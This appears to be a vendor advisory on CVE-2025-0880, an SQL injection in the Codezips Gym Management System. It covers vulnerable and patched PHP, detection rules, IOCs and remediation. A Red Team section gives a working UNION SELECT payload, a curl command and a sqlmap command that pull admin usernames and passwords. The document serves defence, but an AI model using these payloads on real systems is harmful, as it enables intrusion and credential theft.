CVE-2025-0880
Executive Summary
CVE-2025-0880 is a critical unauthenticated SQL injection vulnerability discovered in the Codezips Gym Management System version 1.0. The flaw resides in the /dashboard/admin/updateplan.php file, where the planid parameter is directly concatenated into SQL queries without sanitization or parameterization. An attacker can exploit this remotely to extract, modify, or delete database contents, potentially leading to full administrative compromise of the application. No official patch has been released by the vendor, and a public proof-of-concept (PoC) exploit is available, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application.
CVSS Breakdown & Threat Level
CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – Exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): None – No user action required.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – Full database read access.
- Integrity (I): High – Ability to modify or delete data.
- Availability (A): High – Potential to disrupt database operations.
Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority target for threat actors.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the updateplan.php script. The application likely constructs a SQL query similar to:
UPDATE plans SET ... WHERE planid = $_GET['planid']
The planid parameter is taken directly from the HTTP request and inserted into the query without any sanitization, parameterized statements, or input validation. An attacker can inject arbitrary SQL commands by appending a single quote (') or other SQL metacharacters.
Example vulnerable code snippet (conceptual):
$planid = $_GET['planid'];
$sql = "UPDATE plans SET plan_name='$plan_name' WHERE planid=$planid";
$result = mysqli_query($conn, $sql);
Because the application does not use prepared statements or escape the input, an attacker can break out of the intended SQL syntax and execute arbitrary queries.
Vulnerable vs. Patched Code
Vulnerable Code (updateplan.php):
<?php
include 'db.php';
$planid = $_GET['planid'];
$plan_name = $_POST['plan_name'];
$sql = "UPDATE plans SET plan_name='$plan_name' WHERE planid=$planid";
mysqli_query($conn, $sql);
?>
Patched Code (using prepared statements):
<?php
include 'db.php';
$planid = $_GET['planid'];
$plan_name = $_POST['plan_name'];
$stmt = $conn->prepare("UPDATE plans SET plan_name=? WHERE planid=?");
$stmt->bind_param("si", $plan_name, $planid);
$stmt->execute();
?>
The patched version uses parameterized queries, which prevent SQL injection by separating SQL logic from data.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running Codezips Gym Management System 1.0.
- Network access to the
/dashboard/admin/updateplan.phpendpoint.
Exploit Steps:
- Identify the vulnerable parameter: The
planidparameter in the GET request. - Craft a malicious payload: Use a SQL injection payload to extract data. For example, to retrieve all admin usernames and passwords:
http://target.com/dashboard/admin/updateplan.php?planid=1 UNION SELECT 1,2,group_concat(username,0x3a,password) FROM admin-- - Execute the request: Send the crafted URL using a browser, curl, or a tool like sqlmap.
Example curl command:
curl "http://target.com/dashboard/admin/updateplan.php?planid=1%20UNION%20SELECT%201,2,group_concat(username,0x3a,password)%20FROM%20admin--"
Automated exploitation with sqlmap:
sqlmap -u "http://target.com/dashboard/admin/updateplan.php?planid=1" --batch --dbs
Blue Team (Detection & Response)
Detection Steps:
- Monitor web server logs for suspicious GET requests to
/dashboard/admin/updateplan.phpcontaining SQL keywords likeUNION,SELECT,FROM,--, or single quotes. - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Enable database query logging to detect anomalous queries originating from the web application.
Response Actions:
- Immediately isolate the affected server.
- Review database logs for unauthorized data access.
- Apply virtual patching via WAF if a code patch is unavailable.
- Conduct a forensic analysis to determine the scope of compromise.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/dashboard/admin/updateplan.phpwithplanidparameter containing SQL metacharacters (e.g.,',--,UNION). - Outbound database connections from the web server to unusual IP addresses (if data exfiltration occurs).
File IOCs:
- Modified or newly created files in the web root (e.g., webshells).
- Suspicious entries in
/dashboard/admin/updateplan.phpor other PHP files.
Log IOCs:
- Web server logs showing repeated requests to
updateplan.phpwith varyingplanidvalues. - Database logs showing unexpected queries like
UNION SELECTorLOAD_FILE.
Detection Engineering
YARA Rule
rule CVE_2025_0880_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-0880 in Codezips Gym Management System"
author = "Valters IT"
date = "2025-02-20"
reference = "CVE-2025-0880"
strings:
$s1 = "updateplan.php" nocase
$s2 = "planid=" nocase
$s3 = /['\"]|UNION|SELECT|FROM|--|#|;/
condition:
all of ($s1, $s2) and any of ($s3)
}
Sigma Rule
title: CVE-2025-0880 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Codezips Gym Management System updateplan.php
author: Valters IT
date: 2025/02/20
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-0880
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/dashboard/admin/updateplan.php'
cs-uri-query|contains: 'planid='
keywords:
- "'"
- "UNION"
- "SELECT"
- "FROM"
- "--"
- "#"
condition: selection and keywords
falsepositives:
- Legitimate use of single quotes in plan names (unlikely)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2025-0880 SQL Injection Attempt - Codezips Gym Management System";
flow:to_server,established;
content:"GET";
http_method;
content:"/dashboard/admin/updateplan.php";
http_uri;
content:"planid=";
http_uri;
pcre:"/(?:'|UNION|SELECT|FROM|--|#)/i";
classtype:web-application-attack;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not required: Block access to
/dashboard/admin/updateplan.phpvia web server configuration or firewall. - Apply virtual patching using a WAF to block SQL injection patterns.
- Review and sanitize all user inputs in the application, especially in
updateplan.php.
Long-Term Fix:
- Rewrite the code using prepared statements (parameterized queries) as shown in the patched code example.
- Implement input validation to ensure
planidis an integer. - Conduct a full security audit of the application for similar vulnerabilities.
Vendor Contact:
- Since the vendor (Codezips) has not released a patch, consider reaching out to them directly or migrating to a more secure alternative.
Valters IT